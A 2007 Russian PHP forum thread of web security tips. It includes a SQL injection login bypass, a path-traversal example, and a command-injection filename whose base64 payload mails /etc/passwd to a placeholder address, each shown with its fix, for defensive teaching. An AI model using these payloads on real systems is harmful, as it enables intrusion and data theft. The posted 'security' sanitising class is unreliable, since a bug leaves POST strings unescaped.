Автор Тема: FAQ по безопасности  (Прочитано 7594 раз)

0 Пользователей и 1 Гость просматривают эту тему.

Оффлайн ivan-hohol

  • Титулярный советник
  • ****
  • Сообщений: 114
  • Репутация: 4
  • Пол: Мужской
  • SkypeID: ivan-hohol
FAQ по безопасности
« : ПЭТРам 12, 2007, 09:11:01 pm »
Привет всем! Я хотел бы, чтоб в этой теме каждый выложил то, что знает по безопасности. Ведь так иногда бывает обидно, когда несколько месяцев потел над сайтом, а в итоге его поломал какой-то ублюдок. Чтобы защитить свой сайт от таких прецедентов вот вам первый совет от меня:
Никогда не доверяй пользователю.
Для примера следующий код:
В html файле написаны такие ссылки:
<a href="show.php?filename=article1.html">Статья 1</a>
<a href="show.php?filename=article2.html">Статья 2</a>
<a href="show.php?filename=article3.html">Статья 3</a>
А в файле show.php среди прочего кода, для вывода статьи из текстового файла написано следующее:
...
echo file_get_contents($filename);
...
Злоумышленник возьмёт и напишет вместо article1.html что-нибудь другое, например show.php и таким образом
просмотрит файл show.php.
« Последнее редактирование: ПЭТРам 25, 2007, 11:20:32 am от AdminFlash »
Код: (php) [Выделить]
$php->hypertext($Preprocessor);

Оффлайн ivan-hohol

  • Титулярный советник
  • ****
  • Сообщений: 114
  • Репутация: 4
  • Пол: Мужской
  • SkypeID: ivan-hohol
Re: FAQ по безопасности
« Ответ #1 : ПЭТРам 18, 2007, 01:27:42 am »
Также следует быть осторожным при обработке информации, полученной от пользователя по методам
GET и POST. Следует всегда проверять правильность ввода паролей и другой информации.

Всегда нужно оценивать код с точки зрения безопасности.

Вот реальный пример: при авторизации пользователь вводит логин и пароль и нажимает кнопку войти, чем отправляет данные на сервер. На сервере следующие строки:
Код: (php) [Выделить]
//запрос к СУБД
$res=mysql_query("select * from users where login=$login and password=$password");
//$login, $password-введённые пользователем

Поламать такое очень просто: в поле пароль ввести qwew or 'a'='a'. Такая запись может пройти, поскольку СУБД может принять текст or 'a'='a' за условие. Поскольку а всегда равно а, то СУБД может выполнить запрос и авторизовать пользователя.
Код: (php) [Выделить]
$php->hypertext($Preprocessor);

Оффлайн ivan-hohol

  • Титулярный советник
  • ****
  • Сообщений: 114
  • Репутация: 4
  • Пол: Мужской
  • SkypeID: ivan-hohol
Re: FAQ по безопасности
« Ответ #2 : ПЭТРам 21, 2007, 03:39:06 am »
Сегодня такой совет:
все уязвимые данные должны находиться в отдельном от скрипта файле и в директории, недоступной через запрос к серверу.
По надобности файл можно подключить через инструкции include и require.
Кроме того, в подключаемом файле стоит сделать проверку на то, какой файл его подключает:

Код: (php) [Выделить]
//что-то вроде этого
if($_SERVER['PHP_SELF']=="/index.php")
{
//разрешаем подключение файла
}
else
{
//запрещаем подключение файла
}
Код: (php) [Выделить]
$php->hypertext($Preprocessor);

Оффлайн ivan-hohol

  • Титулярный советник
  • ****
  • Сообщений: 114
  • Репутация: 4
  • Пол: Мужской
  • SkypeID: ivan-hohol
Re: FAQ по безопасности
« Ответ #3 : ПЭТРам 26, 2007, 11:23:28 pm »
Недавно увидел следующий скрипт:
Код: (php) [Выделить]
<?php
$zip 
"/usr/bin/zip";
$store_path "/usr/local/archives/";
if (isset(
$_FILES['file'])) {
$tmp_name $_FILES['file']['tmp_name'];
$cmp_name dirname($_FILES['file']['tmp_name']) .
"/{$_FILES['file']['name']}.zip";
$filename basename($cmp_name);
if (
file_exists($tmp_name)) {
$systemcall "$zip $cmp_name $tmp_name";
$output = `$systemcall`;
if (
file_exists($cmp_name)) {
$savepath $store_path.$filename;
rename($cmp_name$savepath);
}
}
}
?>

<form enctype="multipart/form-data" action="<?php
php 
echo $_SERVER['PHP_SELF'];
?>
" method="POST">
<input type="HIDDEN" name="MAX_FILE_SIZE" value="1048576">
File to compress: <input name="file" type="file"><br />
<input type="submit" value="Compress File">
</form>

Скрипт загружает файл на сервер, сжимает его и сохраняет в каталоге
/usr/local/archives/.
Вы скажете: ну и что в нём такого? А такого в нём вот что:самое опасное место
 - там, где выполняется команда сжатия(обратная кавычка):

Код: (php) [Выделить]
<?php
if (isset($_FILES['file'])) {
$tmp_name $_FILES['file']['tmp_name'];
$cmp_name dirname($_FILES['file']['tmp_name']) .
"/{$_FILES['file']['name']}.zip";
$filename basename($cmp_name);
if (
file_exists($tmp_name)) {
$systemcall "$zip $cmp_name $tmp_name";
$output = `$systemcall`;

Именно в этом месте злоумышленник довольно легко может изменить работу скрипта:
загрузить файл, который содержит специальные символы, интерпретируемые ОС.
Например, создаст файл с именем:

;php -r '$code=base64_decode(
\"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==\");
system($code);';


и загрузит его на сервер.
Странное имя не правда ли? На самом деле это не имя, а целая команда на php:
Код: (php) [Выделить]
<?php
$code
=base64_decode
("bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==");
system($code);
?>


Если вывести значение переменной $code, то оно, как многие уже догадались, равно
mail baduser@somewhere.com < /etc/passwd.
Конечно это самый запущенный случай и он сработает только в системах,
где пользователь, от имени которого запущен веб-сервер, имеет в своей PATH
переменной CLI версию PHP (а не должен бы). Однако на этом принципе можно построить
и другие способы получения подобного результата.

КАК ОТ ЭТОГО ЗАЩИТИТЬСЯ

Функция escapeshellarg() предназначена для устранения
или какого-либо игнорирования потенциально опасных символов в
полученных от пользователя данных. Результат работы функции
может использоваться как аргумент к системной команде.

Синтаксис функции такой:
escapeshellarg($string)
Здесь $string — это строка для "зачистки", а возвращаемое
значение и есть "зачищенная" строка. Функция заключает строку в
аргументе в одинарные кавычки и дезактивирует (то есть предваряет
слешем) все одинарные кавычки, уже содержащиеся в строке. В
нашем примере, если мы добавим перед системным вызовом две
строки:

Код: (php) [Выделить]
<?php
$cmp_name 
escapeshellarg($cmp_name);
$tmp_name escapeshellarg($tmp_name);
?>


то мы исключим риск того, что аргумент, передаваемый в
системную команду, будет проинтерпретирован только как
аргумент, и никак иначе, каковы бы ни были данные,
предоставленные пользователем.
Код: (php) [Выделить]
$php->hypertext($Preprocessor);

Оффлайн ivan-hohol

  • Титулярный советник
  • ****
  • Сообщений: 114
  • Репутация: 4
  • Пол: Мужской
  • SkypeID: ivan-hohol
Re: FAQ по безопасности
« Ответ #4 : ДХТаРЫм 23, 2007, 07:53:24 pm »
Сегодня я хочу обратить внимание на глобальные массивы $_GET и $_POST.
После недолгих поисков и раздумий я всё-же нашёл неплохой класс для защиты приложений.
Код: (php) [Выделить]
class security
{
 var $get;
 var $post;
 function security()
 {
  $this->get=array();
  $this->post=array();
 }

 function get_decode()
 {
  foreach($_GET as $key=>$value)
  {
    $key=htmlspecialchars($key);
    if(is_string($value))
    {
     $value=htmlspecialchars($value);
     $this->get[$key]=$value;

    }
    else if(is_int($value))
    {
     $value=(int)$value;
     $this->get[$key]=$value;
    }
  }
  $_GET=array();

 }

 function post_decode()
 {
  foreach($_POST as $key=>$value)
  {
   $key=htmlspecialchars($key);
   if(is_array($value))
   {

    foreach($value as $sub_key=>$sub_value)
    {
    $sub_key=htmlspecialchars($sub_key);
    if(is_string($sub_value))
    {
     
     $sub_value=htmlspecialchars($sub_value);
    }
    else if(is_int($sub_value))
    {
      $sub_value=(int)$sub_value;
    }
    $this->post[$key][$sub_key]=$sub_value;
    }
   }
   else if(is_string($value))
   {
   
     $sub_value=htmlspecialchars($sub_value);
    $this->post[$key]=$value;
   }
   else if(is_int($value))
   {
    $value=(int)$value;
    $this->post[$key]=$value;
   }
  }
  $_POST=array();
 }
}
Теперь давайте разберёмся в коде.
Начнём с самого начала:
Код: (php) [Выделить]
class security
{
 var $get;
 var $post;
function security()
 {
  $this->get=array();
  $this->post=array();
 }
}
Это, я думаю, всем понятно - объявление двух переменных $get и $post и инициализация их как массивов в конструкторе
(функция с именем класса это и есть собственно конструктор,this указатель на текущий объект - для тех, кто не знает).

Далее, функция для преобразования данных, присланных по методу GET:
Код: (php) [Выделить]
function get_decode()
 {
  foreach($_GET as $key=>$value)
  {
    $key=htmlspecialchars($key);
    if(is_string($value))
    {
     $value=htmlspecialchars($value);
     $this->get[$key]=$value;

    }
    else if(is_int($value))
    {
     $value=(int)$value;
     $this->get[$key]=$value;
    }
  }
  $_GET=array();

 }
Здесь мы проходим циклом по массиву $_GET и с помощью функции htmlspecialchars() преобразовуем все опасные символы в безопасные. В самом конце очищаем массив $_GET, чтобы им невозможно было пользоваться, ведь все данные у нас теперь в массиве $this->get[].
С массивом POST мы поступаем точно так же:
Код: (php) [Выделить]
function post_decode()
 {
  foreach($_POST as $key=>$value)
  {
   $key=htmlspecialchars($key);
   if(is_array($value))
   {

    foreach($value as $sub_key=>$sub_value)
    {
    $sub_key=htmlspecialchars($sub_key);
    if(is_string($sub_value))
    {
     
     $sub_value=htmlspecialchars($sub_value);
    }
    else if(is_int($sub_value))
    {
      $sub_value=(int)$sub_value;
    }
    $this->post[$key][$sub_key]=$sub_value;
    }
   }
   else if(is_string($value))
   {
   
     $sub_value=htmlspecialchars($sub_value);
    $this->post[$key]=$value;
   }
   else if(is_int($value))
   {
    $value=(int)$value;
    $this->post[$key]=$value;
   }
  }
  $_POST=array();
 }
Но с массивом $_POST есть один нюанс - он может быть многомерным, поэтому здесь мы используем вложение циклов.
Данная функция расчитана на двухмерный массив, но вы можете самостоятельно дописать необходимые уровни вложения.

В класс можно также встраивать функции проверки определённых символов и т.д.

Перед использованием нужно подключить файл с классом через инструкцию include или require,после чего
сделать вызовы функций:
Код: (php) [Выделить]
require_once 'security.php';
$protection=new security();
$protection->get_decode();
$protection->post_decode();
После чего использовать таким образом:
Код: (php) [Выделить]
$protection->get[];
//либо
$protection->post[];

Кто хочет прочитать об этом побольше, тому сюда:http://www.kamaikin.ru/artical/protected/2/9/
Код: (php) [Выделить]
$php->hypertext($Preprocessor);

altermann

  • Гость
Re: FAQ по безопасности
« Ответ #5 : ДХТаРЫм 24, 2007, 01:45:41 pm »
Ребятки главное не клепать сайтцы на шаблонных решениях, быть внимательнее, обрабатывать запросы и вводные переменные на наличие инъекций, учитывать возможность XSS. ;)

Оффлайн EnDenis

  • the Great
  • Глобальный модератор
  • Коллежский советник
  • *****
  • Сообщений: 749
  • Репутация: 24
  • Пол: Мужской
  • Iron man
Re: FAQ по безопасности
« Ответ #6 : °ЯаХЫм 23, 2007, 05:10:24 pm »
я видел некоторые статьи по XSS, но никакой реальной угрозы, если создать хороший класс для защиты, я не заметил.
Нам не дано предугадать,
Как слово наше отзовётся, -
И нам сочувствие даётся,
Как нам дается благодать...
(Тютчев)

Оффлайн BlogoFF

  • Губернский секретарь
  • **
  • Сообщений: 22
  • Репутация: 0
  • Пол: Мужской
Re: FAQ по безопасности
« Ответ #7 : ёоЫм 05, 2007, 07:23:36 pm »
Смотрите, какая штука: http://www.yellowpages.ru/rus/nd2/qu10/bo2027028/sq15
Зайдя по этой ссылке, Вы можете отредактировать данные компании.
А теперь находим ЛЮБУЮ фирму на этом (довольно известном) сайте, и пишем на Яндексе незамысловатую фразу: "[название фирмы] && yellowpages.ru". Усё! Среди первых трёх ссылок есть и ссылка на редактирование.
Скажите, плз: как от этого защититься? В чём ошибка программистов Yellowpages?

P.S. Я не хакер.  :)

Оффлайн BlogoFF

  • Губернский секретарь
  • **
  • Сообщений: 22
  • Репутация: 0
  • Пол: Мужской
Re: FAQ по безопасности
« Ответ #8 : ёоЫм 05, 2007, 07:28:09 pm »
Даже вот как: добавляем к адресу странички с инфой "/sq15", и редактируем компанию!

P.P.S. Гм... Заметил вестч: надо отправить мессагу на факс, чтобы изменить. Но ведь этим тоже можно воспользоваться!
« Последнее редактирование: ёоЫм 05, 2007, 07:31:32 pm от BlogoFF »

Оффлайн ivan-hohol

  • Титулярный советник
  • ****
  • Сообщений: 114
  • Репутация: 4
  • Пол: Мужской
  • SkypeID: ivan-hohol
Re: FAQ по безопасности
« Ответ #9 : ёоЫм 06, 2007, 01:11:41 am »
По-моему там все изменения проверяются оператором, да к тому-же нужно отослать факс на фирменном бланке. Кажется на этом вся система и держится...
Код: (php) [Выделить]
$php->hypertext($Preprocessor);